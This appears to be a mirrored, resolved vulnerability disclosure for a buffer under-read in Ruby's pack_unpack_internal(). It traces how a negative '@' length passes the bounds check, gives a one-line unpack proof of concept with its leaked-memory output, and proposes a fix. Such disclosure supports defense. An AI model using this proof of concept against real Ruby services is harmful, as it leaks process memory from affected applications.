Loading HuntDB...

controlled buffer under-read in pack_unpack_internal()

Medium
R
Ruby
Submitted None
Reported by aerodudrizzt

Vulnerability Details

Technical details and impact analysis

Buffer Under-read
Brief ----- There is a signedness error in the pack_unpack_internal(), allowing the '@' type to trigger a buffer under-read when unpacking with a controlled format (similar to format string implementation vulnerabilities). Code Vulnerability -------------------- **Vulnerable version:** 2.5.0 (rc) and prior (tested also on 2.3.3) **Scope:** works on 32 bit and 64 bit versions **File:** pack.c **Function:** pack_unpack_internal() **Code Trace:** 1. *len* is a **signed** long: ```ruby long len; ``` 1. *len* can be parsed using a decimal string representation, to hold **any** unsigned long value ```ruby ... else if (ISDIGIT(*p)) { errno = 0; len = STRTOUL(p, (char**)&p, 10); if (errno) { rb_raise(rb_eRangeError, "pack length too big"); } } ... ``` 1. Using a **negative** *len* value, the '@' type will move the string backwards: ```ruby ... case '@': // EI - Trace: negative length will pass this check if (len > RSTRING_LEN(str)) rb_raise(rb_eArgError, "@ outside of string"); // EI - Trace: negative length will move s backwards s = RSTRING_PTR(str) + len; break; ... ``` 1. Later unpacking will parse memory data before the buffer's start PoC Script ------------ The script was tested on 32 bit. On 64 bit one should only adjust the numerical values accordingly (64 bit was tested on 2.3.3 and worked). ```ruby puts 'Version: ' + RUBY_VERSION puts 2 ** 32 - 100 puts '**********************************' puts 'Expected:' "0123456789".unpack("C10").each { |x| puts x.to_s(16) } puts '**********************************' puts 'Leaked + Expected:' "0123456789".unpack("@4294967196C110").each { |x| puts x.to_s(16) } puts '**********************************' ``` **Output:** ``` Version: 2.5.0 4294967196 ********************************** Expected: 30 31 32 33 34 35 36 37 38 39 ********************************** Leaked + Expected: 28 13 e2 1 c1 24 0 0 40 43 df 1 65 48 92 20 3c 7e df 1 72 65 6d 61 69 6e 64 65 72 0 0 0 7a 60 1 0 30 1 f5 1 50 c5 ef 1 7f a3 0 0 30 1 f5 1 7a 60 5 0 40 43 df 1 8 13 e2 1 b1 24 0 0 40 43 df 1 65 88 91 20 3c 7e df 1 6d 6f 64 75 6c 6f 0 0 0 0 0 0 5 80 52 0 3c 7e df 1 30 31 32 33 34 35 36 37 38 39 ********************************** ``` Proposed Fix: --------------- *len* should be limited to hold only positive values, and it should be enforced right after *len* is parsed. A different fix could be to specifically check if *len* is negative in all dangerous places in the unpack() function. ## Impact Impact -------- An attacker controlling the unpacking format (similar to format string vulnerabilities) can trigger a **massive and controlled** information disclosure. Since Ruby is a managed language, programmers assume that the library would catch such dangerous code samples and protect them from these types of attacks. This vulnerability is similar to the implementation vulnerability that was found earlier this year (2017) in the format string (sprintf) module, and in both cases programmers that use an attacker controlled format can be harmed due to an implementation bug in the ruby module.

Report Details

Additional information and metadata

State

Closed

Substate

Resolved

Submitted

Weakness

Buffer Under-read